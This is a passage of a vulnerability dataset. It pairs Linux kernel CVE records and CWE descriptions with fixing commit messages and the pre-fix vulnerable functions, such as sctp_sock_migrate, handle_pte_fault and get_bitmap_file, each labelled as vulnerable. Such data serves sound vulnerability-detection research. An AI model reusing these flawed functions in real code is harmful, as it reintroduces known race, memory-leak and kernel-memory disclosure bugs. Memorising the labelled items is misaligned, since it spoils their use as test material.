[{'description': [{'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.1.1', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'Race condition in net/sctp/socket.c in the Linux kernel before 4.1.2 allows local users to cause a denial of service (list corruption and panic) via a rapid series of system calls related to sockets, as demonstrated by setsockopt calls.'}]
2019-04-08T20:29Z
2015-08-31T10:59Z
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider. A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related: Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution. Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource. A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x). The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.
https://cwe.mitre.org/data/definitions/362.html
0
Marcelo Ricardo Leitner
2015-06-12 10:16:41-03:00
sctp: fix ASCONF list handling ->auto_asconf_splist is per namespace and mangled by functions like sctp_setsockopt_auto_asconf() which doesn't guarantee any serialization. Also, the call to inet_sk_copy_descendant() was backuping ->auto_asconf_list through the copy but was not honoring ->do_auto_asconf, which could lead to list corruption if it was different between both sockets. This commit thus fixes the list handling by using ->addr_wq_lock spinlock to protect the list. A special handling is done upon socket creation and destruction for that. Error handlig on sctp_init_sock() will never return an error after having initialized asconf, so sctp_destroy_sock() can be called without addrq_wq_lock. The lock now will be take on sctp_close_sock(), before locking the socket, so we don't do it in inverse order compared to sctp_addr_wq_timeout_handler(). Instead of taking the lock on sctp_sock_migrate() for copying and restoring the list values, it's preferred to avoid rewritting it by implementing sctp_copy_descendant(). Issue was found with a test application that kept flipping sysctl default_auto_asconf on and off, but one could trigger it by issuing simultaneous setsockopt() calls on multiple sockets or by creating/destroying sockets fast enough. This is only triggerable locally. Fixes: 9f7d653b67ae ("sctp: Add Auto-ASCONF support (core).") Reported-by: Ji Jianwen <[email protected]> Suggested-by: Neil Horman <[email protected]> Suggested-by: Hannes Frederic Sowa <[email protected]> Acked-by: Hannes Frederic Sowa <[email protected]> Signed-off-by: Marcelo Ricardo Leitner <[email protected]> Signed-off-by: David S. Miller <[email protected]>
2d45a02d0166caf2627fe91897c6ffc3b19514c4
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
sctp_sock_migrate
sctp_sock_migrate( struct sock * oldsk , struct sock * newsk , struct sctp_association * assoc , sctp_socket_type_t type)
['oldsk', 'newsk', 'assoc', 'type']
static void sctp_sock_migrate(struct sock *oldsk, struct sock *newsk, struct sctp_association *assoc, sctp_socket_type_t type) { struct sctp_sock *oldsp = sctp_sk(oldsk); struct sctp_sock *newsp = sctp_sk(newsk); struct sctp_bind_bucket *pp; /* hash list port iterator */ struct sctp_endpoint *newep = newsp->ep; struct sk_buff *skb, *tmp; struct sctp_ulpevent *event; struct sctp_bind_hashbucket *head; struct list_head tmplist; /* Migrate socket buffer sizes and all the socket level options to the * new socket. */ newsk->sk_sndbuf = oldsk->sk_sndbuf; newsk->sk_rcvbuf = oldsk->sk_rcvbuf; /* Brute force copy old sctp opt. */ if (oldsp->do_auto_asconf) { memcpy(&tmplist, &newsp->auto_asconf_list, sizeof(tmplist)); inet_sk_copy_descendant(newsk, oldsk); memcpy(&newsp->auto_asconf_list, &tmplist, sizeof(tmplist)); } else inet_sk_copy_descendant(newsk, oldsk); /* Restore the ep value that was overwritten with the above structure * copy. */ newsp->ep = newep; newsp->hmac = NULL; /* Hook this new socket in to the bind_hash list. */ head = &sctp_port_hashtable[sctp_phashfn(sock_net(oldsk), inet_sk(oldsk)->inet_num)]; local_bh_disable(); spin_lock(&head->lock); pp = sctp_sk(oldsk)->bind_hash; sk_add_bind_node(newsk, &pp->owner); sctp_sk(newsk)->bind_hash = pp; inet_sk(newsk)->inet_num = inet_sk(oldsk)->inet_num; spin_unlock(&head->lock); local_bh_enable(); /* Copy the bind_addr list from the original endpoint to the new * endpoint so that we can handle restarts properly */ sctp_bind_addr_dup(&newsp->ep->base.bind_addr, &oldsp->ep->base.bind_addr, GFP_KERNEL); /* Move any messages in the old socket's receive queue that are for the * peeled off association to the new socket's receive queue. */ sctp_skb_for_each(skb, &oldsk->sk_receive_queue, tmp) { event = sctp_skb2event(skb); if (event->asoc == assoc) { __skb_unlink(skb, &oldsk->sk_receive_queue); __skb_queue_tail(&newsk->sk_receive_queue, skb); sctp_skb_set_owner_r_frag(skb, newsk); } } /* Clean up any messages pending delivery due to partial * delivery. Three cases: * 1) No partial deliver; no work. * 2) Peeling off partial delivery; keep pd_lobby in new pd_lobby. * 3) Peeling off non-partial delivery; move pd_lobby to receive_queue. */ skb_queue_head_init(&newsp->pd_lobby); atomic_set(&sctp_sk(newsk)->pd_mode, assoc->ulpq.pd_mode); if (atomic_read(&sctp_sk(oldsk)->pd_mode)) { struct sk_buff_head *queue; /* Decide which queue to move pd_lobby skbs to. */ if (assoc->ulpq.pd_mode) { queue = &newsp->pd_lobby; } else queue = &newsk->sk_receive_queue; /* Walk through the pd_lobby, looking for skbs that * need moved to the new socket. */ sctp_skb_for_each(skb, &oldsp->pd_lobby, tmp) { event = sctp_skb2event(skb); if (event->asoc == assoc) { __skb_unlink(skb, &oldsp->pd_lobby); __skb_queue_tail(queue, skb); sctp_skb_set_owner_r_frag(skb, newsk); } } /* Clear up any skbs waiting for the partial * delivery to finish. */ if (assoc->ulpq.pd_mode) sctp_clear_pd(oldsk, NULL); } sctp_skb_for_each(skb, &assoc->ulpq.reasm, tmp) sctp_skb_set_owner_r_frag(skb, newsk); sctp_skb_for_each(skb, &assoc->ulpq.lobby, tmp) sctp_skb_set_owner_r_frag(skb, newsk); /* Set the type of socket to indicate that it is peeled off from the * original UDP-style socket or created with the accept() call on a * TCP-style socket.. */ newsp->type = type; /* Mark the new socket "in-use" by the user so that any packets * that may arrive on the association after we've moved it are * queued to the backlog. This prevents a potential race between * backlog processing on the old socket and new-packet processing * on the new socket. * * The caller has just allocated newsk so we can guarantee that other * paths won't try to lock it and then oldsk. */ lock_sock_nested(newsk, SINGLE_DEPTH_NESTING); sctp_assoc_migrate(assoc, newsk); /* If the association on the newsk is already closed before accept() * is called, set RCV_SHUTDOWN flag. */ if (sctp_state(assoc, CLOSED) && sctp_style(newsk, TCP)) newsk->sk_shutdown |= RCV_SHUTDOWN; newsk->sk_state = SCTP_SS_ESTABLISHED; release_sock(newsk); }
560
True
1
CVE-2015-3288
False
False
False
False
AV:L/AC:L/Au:N/C:C/I:C/A:C
LOCAL
LOW
NONE
COMPLETE
COMPLETE
COMPLETE
7.2
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.8
HIGH
1.8
5.9
nan
[{'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=6b7339f4c31ad69c8e9c0b2859276e22cf72176d', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=6b7339f4c31ad69c8e9c0b2859276e22cf72176d', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.1.4', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.1.4', 'refsource': 'CONFIRM', 'tags': ['Release Notes', 'Vendor Advisory']}, {'url': 'https://security-tracker.debian.org/tracker/CVE-2015-3288', 'name': 'https://security-tracker.debian.org/tracker/CVE-2015-3288', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1333830', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1333830', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch', 'Third Party Advisory', 'VDB Entry']}, {'url': 'https://github.com/torvalds/linux/commit/6b7339f4c31ad69c8e9c0b2859276e22cf72176d', 'name': 'https://github.com/torvalds/linux/commit/6b7339f4c31ad69c8e9c0b2859276e22cf72176d', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/93591', 'name': '93591', 'refsource': 'BID', 'tags': []}, {'url': 'https://source.android.com/security/bulletin/2017-01-01.html', 'name': 'https://source.android.com/security/bulletin/2017-01-01.html', 'refsource': 'CONFIRM', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-20'}]}]
HIGH
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.1.3', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'mm/memory.c in the Linux kernel before 4.1.4 mishandles anonymous pages, which allows local users to gain privileges or cause a denial of service (page tainting) via a crafted application that triggers writing to page zero.'}]
2017-01-07T03:00Z
2016-10-16T21:59Z
Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components. When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution. Input validation is not the only technique for processing input, however. Other techniques attempt to transform potentially-dangerous input into something safe, such as filtering (CWE-790) - which attempts to remove dangerous inputs - or encoding/escaping (CWE-116), which attempts to ensure that the input is not misinterpreted when it is included in output to another component. Other techniques exist as well (see CWE-138 for more examples.) Input validation can be applied to: raw data - strings, numbers, parameters, file contents, etc. metadata - information about the raw data, such as headers or size Data can be simple or structured. Structured data can be composed of many nested layers, composed of combinations of metadata and raw data, with other simple or structured data. Many properties of raw data or metadata may need to be validated upon entry into the code, such as: specified quantities such as size, length, frequency, price, rate, number of operations, time, etc. implied or derived quantities, such as the actual size of a file instead of a specified size indexes, offsets, or positions into more complex data structures symbolic keys or other elements into hash tables, associative arrays, etc. well-formedness, i.e. syntactic correctness - compliance with expected syntax lexical token correctness - compliance with rules for what is treated as a token specified or derived type - the actual type of the input (or what the input appears to be) consistency - between individual data elements, between raw data and metadata, between references, etc. conformance to domain-specific rules, e.g. business logic equivalence - ensuring that equivalent inputs are treated the same authenticity, ownership, or other attestations about the input, e.g. a cryptographic signature to prove the source of the data Implied or derived properties of data must often be calculated or inferred by the code itself. Errors in deriving properties may be considered a contributing factor to improper input validation. Note that "input validation" has very different meanings to different people, or within different classification schemes. Caution must be used when referencing this CWE entry or mapping to it. For example, some weaknesses might involve inadvertently giving control to an attacker over an input when they should not be able to provide an input at all, but sometimes this is referred to as input validation. Finally, it is important to emphasize that the distinctions between input validation and output escaping are often blurred, and developers must be careful to understand the difference, including how input validation is not always sufficient to prevent vulnerabilities, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a person's last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, this valid name cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise transformed. In this case, removing the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
https://cwe.mitre.org/data/definitions/20.html
0
Kirill A. Shutemov
2015-07-06 23:18:37+03:00
mm: avoid setting up anonymous pages into file mapping Reading page fault handler code I've noticed that under right circumstances kernel would map anonymous pages into file mappings: if the VMA doesn't have vm_ops->fault() and the VMA wasn't fully populated on ->mmap(), kernel would handle page fault to not populated pte with do_anonymous_page(). Let's change page fault handler to use do_anonymous_page() only on anonymous VMA (->vm_ops == NULL) and make sure that the VMA is not shared. For file mappings without vm_ops->fault() or shred VMA without vm_ops, page fault on pte_none() entry would lead to SIGBUS. Signed-off-by: Kirill A. Shutemov <[email protected]> Acked-by: Oleg Nesterov <[email protected]> Cc: Andrew Morton <[email protected]> Cc: Willy Tarreau <[email protected]> Cc: [email protected] Signed-off-by: Linus Torvalds <[email protected]>
6b7339f4c31ad69c8e9c0b2859276e22cf72176d
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
handle_pte_fault
handle_pte_fault( struct mm_struct * mm , struct vm_area_struct * vma , unsigned long address , pte_t * pte , pmd_t * pmd , unsigned int flags)
['mm', 'vma', 'address', 'pte', 'pmd', 'flags']
static int handle_pte_fault(struct mm_struct *mm, struct vm_area_struct *vma, unsigned long address, pte_t *pte, pmd_t *pmd, unsigned int flags) { pte_t entry; spinlock_t *ptl; /* * some architectures can have larger ptes than wordsize, * e.g.ppc44x-defconfig has CONFIG_PTE_64BIT=y and CONFIG_32BIT=y, * so READ_ONCE or ACCESS_ONCE cannot guarantee atomic accesses. * The code below just needs a consistent view for the ifs and * we later double check anyway with the ptl lock held. So here * a barrier will do. */ entry = *pte; barrier(); if (!pte_present(entry)) { if (pte_none(entry)) { if (vma->vm_ops) { if (likely(vma->vm_ops->fault)) return do_fault(mm, vma, address, pte, pmd, flags, entry); } return do_anonymous_page(mm, vma, address, pte, pmd, flags); } return do_swap_page(mm, vma, address, pte, pmd, flags, entry); } if (pte_protnone(entry)) return do_numa_page(mm, vma, address, entry, pte, pmd); ptl = pte_lockptr(mm, pmd); spin_lock(ptl); if (unlikely(!pte_same(*pte, entry))) goto unlock; if (flags & FAULT_FLAG_WRITE) { if (!pte_write(entry)) return do_wp_page(mm, vma, address, pte, pmd, ptl, entry); entry = pte_mkdirty(entry); } entry = pte_mkyoung(entry); if (ptep_set_access_flags(vma, address, pte, entry, flags & FAULT_FLAG_WRITE)) { update_mmu_cache(vma, address, pte); } else { /* * This is needed only for protection faults but the arch code * is not yet telling us if this is a protection fault or not. * This still avoids useless tlb flushes for .text page faults * with threads. */ if (flags & FAULT_FLAG_WRITE) flush_tlb_fix_spurious_fault(vma, address); } unlock: pte_unmap_unlock(pte, ptl); return 0; }
294
True
1
CVE-2015-1333
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1245658', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1245658', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/07/27/7', 'name': '[oss-security] 20150727 Security issue in Linux Kernel Keyring (CVE-2015-1333)', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.1.4', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.1.4', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ca4da5dd1f99fe9c59f1709fb43e818b18ad20e0', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ca4da5dd1f99fe9c59f1709fb43e818b18ad20e0', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/ca4da5dd1f99fe9c59f1709fb43e818b18ad20e0', 'name': 'https://github.com/torvalds/linux/commit/ca4da5dd1f99fe9c59f1709fb43e818b18ad20e0', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/76050', 'name': '76050', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3329', 'name': 'DSA-3329', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1787.html', 'name': 'RHSA-2015:1787', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1778.html', 'name': 'RHSA-2015:1778', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2691-1', 'name': 'USN-2691-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2690-1', 'name': 'USN-2690-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2689-1', 'name': 'USN-2689-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2688-1', 'name': 'USN-2688-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2687-1', 'name': 'USN-2687-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'https://support.f5.com/csp/article/K05211147', 'name': 'https://support.f5.com/csp/article/K05211147', 'refsource': 'CONFIRM', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-119'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.1.3', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'Memory leak in the __key_link_end function in security/keys/keyring.c in the Linux kernel before 4.1.4 allows local users to cause a denial of service (memory consumption) via many add_key system calls that refer to existing keys.'}]
2019-04-08T20:29Z
2015-08-31T10:59Z
Improper Restriction of Operations within the Bounds of a Memory Buffer
The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.
Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data. As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.
https://cwe.mitre.org/data/definitions/119.html
0
Colin Ian King
2015-07-27 15:23:43+01:00
KEYS: ensure we free the assoc array edit if edit is valid __key_link_end is not freeing the associated array edit structure and this leads to a 512 byte memory leak each time an identical existing key is added with add_key(). The reason the add_key() system call returns okay is that key_create_or_update() calls __key_link_begin() before checking to see whether it can update a key directly rather than adding/replacing - which it turns out it can. Thus __key_link() is not called through __key_instantiate_and_link() and __key_link_end() must cancel the edit. CVE-2015-1333 Signed-off-by: Colin Ian King <[email protected]> Signed-off-by: David Howells <[email protected]> Signed-off-by: James Morris <[email protected]>
ca4da5dd1f99fe9c59f1709fb43e818b18ad20e0
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
__releases
__releases( & keyring_serialise_link_sem)
['keyring_serialise_link_sem']
__releases(&keyring_serialise_link_sem) { BUG_ON(index_key->type == NULL); kenter("%d,%s,", keyring->serial, index_key->type->name); if (index_key->type == &key_type_keyring) up_write(&keyring_serialise_link_sem); if (edit && !edit->dead_leaf) { key_payload_reserve(keyring, keyring->datalen - KEYQUOTA_LINK_BYTES); assoc_array_cancel_edit(edit); } up_write(&keyring->sem); }
80
True
1
CVE-2015-5697
False
False
False
False
AV:L/AC:L/Au:N/C:P/I:N/A:N
LOCAL
LOW
NONE
PARTIAL
NONE
NONE
2.1
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.1.6', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.1.6', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/07/28/2', 'name': '[oss-security] 20150728 CVE request: Linux kernel - information leak in md driver', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1249011', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1249011', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/b6878d9e03043695dbf3fa1caa6dfc09db225b16', 'name': 'https://github.com/torvalds/linux/commit/b6878d9e03043695dbf3fa1caa6dfc09db225b16', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b6878d9e03043695dbf3fa1caa6dfc09db225b16', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b6878d9e03043695dbf3fa1caa6dfc09db225b16', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/76066', 'name': '76066', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2777-1', 'name': 'USN-2777-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2748-1', 'name': 'USN-2748-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2752-1', 'name': 'USN-2752-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2751-1', 'name': 'USN-2751-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3329', 'name': 'DSA-3329', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2749-1', 'name': 'USN-2749-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-10/msg00009.html', 'name': 'SUSE-SU-2015:1727', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2732-1', 'name': 'USN-2732-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2731-1', 'name': 'USN-2731-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2015-August/164193.html', 'name': 'FEDORA-2015-13391', 'refsource': 'FEDORA', 'tags': []}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2015-August/164137.html', 'name': 'FEDORA-2015-13396', 'refsource': 'FEDORA', 'tags': []}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2015-August/163711.html', 'name': 'FEDORA-2015-12917', 'refsource': 'FEDORA', 'tags': []}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2015-August/163661.html', 'name': 'FEDORA-2015-12908', 'refsource': 'FEDORA', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1033211', 'name': '1033211', 'refsource': 'SECTRACK', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-200'}]}]
LOW
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.1.5', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The get_bitmap_file function in drivers/md/md.c in the Linux kernel before 4.1.6 does not initialize a certain bitmap data structure, which allows local users to obtain sensitive information from kernel memory via a GET_BITMAP_FILE ioctl call.'}]
2017-09-21T01:29Z
2015-08-31T10:59Z
Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker. Some kinds of sensitive information include: private, personal information, such as personal messages, financial data, health records, geographic location, or contact details system status and environment, such as the operating system and installed packages business secrets and intellectual property network status and configuration the product's own code or internal state metadata, e.g. logging of connections or message headers indirect information, such as a discrepancy between two internal operations that can be observed by an outsider Information might be sensitive to different parties, each of which may have their own expectations for whether the information should be protected. These parties include: the product's own users people or organizations whose information is created or used by the product, even if they are not direct product users the product's administrators, including the admins of the system(s) and/or networks on which the product operates the developer Information exposures can occur in different ways: the code explicitly inserts sensitive information into resources or messages that are intentionally made accessible to unauthorized actors, but should not contain the information - i.e., the information should have been "scrubbed" or "sanitized" a different weakness or mistake indirectly inserts the sensitive information into resources, such as a web script error revealing the full system path of the program. the code manages resources that intentionally contain sensitive information, but the resources are unintentionally made accessible to unauthorized actors. In this case, the information exposure is resultant - i.e., a different weakness enabled the access to the information in the first place. It is common practice to describe any loss of confidentiality as an "information exposure," but this can lead to overuse of CWE-200 in CWE mapping. From the CWE perspective, loss of confidentiality is a technical impact that can arise from dozens of different weaknesses, such as insecure file permissions or out-of-bounds read. CWE-200 and its lower-level descendants are intended to cover the mistakes that occur in behaviors that explicitly manage, store, transfer, or cleanse sensitive information.
https://cwe.mitre.org/data/definitions/200.html
0
Benjamin Randazzo
2015-07-25 16:36:50+02:00
md: use kzalloc() when bitmap is disabled In drivers/md/md.c get_bitmap_file() uses kmalloc() for creating a mdu_bitmap_file_t called "file". 5769 file = kmalloc(sizeof(*file), GFP_NOIO); 5770 if (!file) 5771 return -ENOMEM; This structure is copied to user space at the end of the function. 5786 if (err == 0 && 5787 copy_to_user(arg, file, sizeof(*file))) 5788 err = -EFAULT But if bitmap is disabled only the first byte of "file" is initialized with zero, so it's possible to read some bytes (up to 4095) of kernel space memory from user space. This is an information leak. 5775 /* bitmap disabled, zero the first byte and copy out */ 5776 if (!mddev->bitmap_info.file) 5777 file->pathname[0] = '\0'; Signed-off-by: Benjamin Randazzo <[email protected]> Signed-off-by: NeilBrown <[email protected]>
b6878d9e03043695dbf3fa1caa6dfc09db225b16
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
get_bitmap_file
get_bitmap_file( struct mddev * mddev , void __user * arg)
['mddev', 'arg']
static int get_bitmap_file(struct mddev *mddev, void __user * arg) { mdu_bitmap_file_t *file = NULL; /* too big for stack allocation */ char *ptr; int err; file = kmalloc(sizeof(*file), GFP_NOIO); if (!file) return -ENOMEM; err = 0; spin_lock(&mddev->lock); /* bitmap disabled, zero the first byte and copy out */ if (!mddev->bitmap_info.file) file->pathname[0] = '\0'; else if ((ptr = file_path(mddev->bitmap_info.file, file->pathname, sizeof(file->pathname))), IS_ERR(ptr)) err = PTR_ERR(ptr); else memmove(file->pathname, ptr, sizeof(file->pathname)-(ptr-file->pathname)); spin_unlock(&mddev->lock); if (err == 0 && copy_to_user(arg, file, sizeof(*file))) err = -EFAULT; kfree(file); return err; }
183
True
1
CVE-2016-2053
False
False
False
False
AV:L/AC:M/Au:N/C:N/I:N/A:C
LOCAL
MEDIUM
NONE
NONE
NONE
COMPLETE
4.7
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
NONE
NONE
HIGH
4.7
MEDIUM
1.0
3.6
nan
[{'url': 'http://www.openwall.com/lists/oss-security/2016/01/25/4', 'name': '[oss-security] 20160125 Re: Linux kernel : Denial of service with specially crafted key file.', 'refsource': 'MLIST', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/0d62e9dd6da45bbf0f33a8617afc5fe774c8f45f', 'name': 'https://github.com/torvalds/linux/commit/0d62e9dd6da45bbf0f33a8617afc5fe774c8f45f', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1300237', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1300237', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Third Party Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=0d62e9dd6da45bbf0f33a8617afc5fe774c8f45f', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=0d62e9dd6da45bbf0f33a8617afc5fe774c8f45f', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00052.html', 'name': 'SUSE-SU-2016:1672', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00054.html', 'name': 'SUSE-SU-2016:1690', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00000.html', 'name': 'SUSE-SU-2016:1937', 'refsource': 'SUSE', 'tags': ['Mailing List', 